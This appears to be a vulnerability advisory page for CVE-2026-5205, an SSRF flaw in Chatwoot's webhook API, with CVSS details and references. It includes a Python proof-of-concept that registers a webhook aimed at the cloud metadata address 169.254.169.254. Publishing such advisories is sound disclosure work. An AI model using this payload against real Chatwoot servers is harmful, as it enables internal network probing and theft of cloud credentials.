CVE-2026-5205

Description

A vulnerability was identified in chatwoot up to 4.11.2. Affected by this vulnerability is the function Webhooks::Trigger in the library lib/webhooks/trigger.rb of the component Webhook API. Such manipulation of the argument url leads to server-side request forgery. The attack can be launched remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.

CVSS Details

CVSS Score

6.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Chatwoot <= 4.11.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
import requests

# CVE-2026-5205 PoC: Chatwoot SSRF via Webhook URL
# Target: Chatwoot instance <= 4.11.2

target_url = "http://localhost:3000/api/v1/webhooks" # Example endpoint
attacker_controlled_url = "http://169.254.169.254/latest/meta-data/" # AWS Metadata or internal service

headers = {
    "Content-Type": "application/json",
    "api_access_token": "YOUR_API_TOKEN_HERE" # Requires Low Privilege (PR:L)
}

payload = {
    "webhook": {
        "url": attacker_controlled_url,
        "event_type": "conversation_created"
    }
}

print(f"[+] Sending SSRF payload to {target_url}")
print(f"[+] Target internal URL: {attacker_controlled_url}")

try:
    response = requests.post(target_url, json=payload, headers=headers)
    print(f"[+] Response Status: {response.status_code}")
    print(f"[+] Response Body: {response.text}")
except Exception as e:
    print(f"[-] Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-5205
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-5205
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-5205/
[4] VulDB https://vuldb.com/cve/CVE-2026-5205
[5] https://vuldb.com/submit/780305
[6] https://vuldb.com/vuln/354333
[7] https://vuldb.com/vuln/354333/cti

Raw JSON Data

JSON

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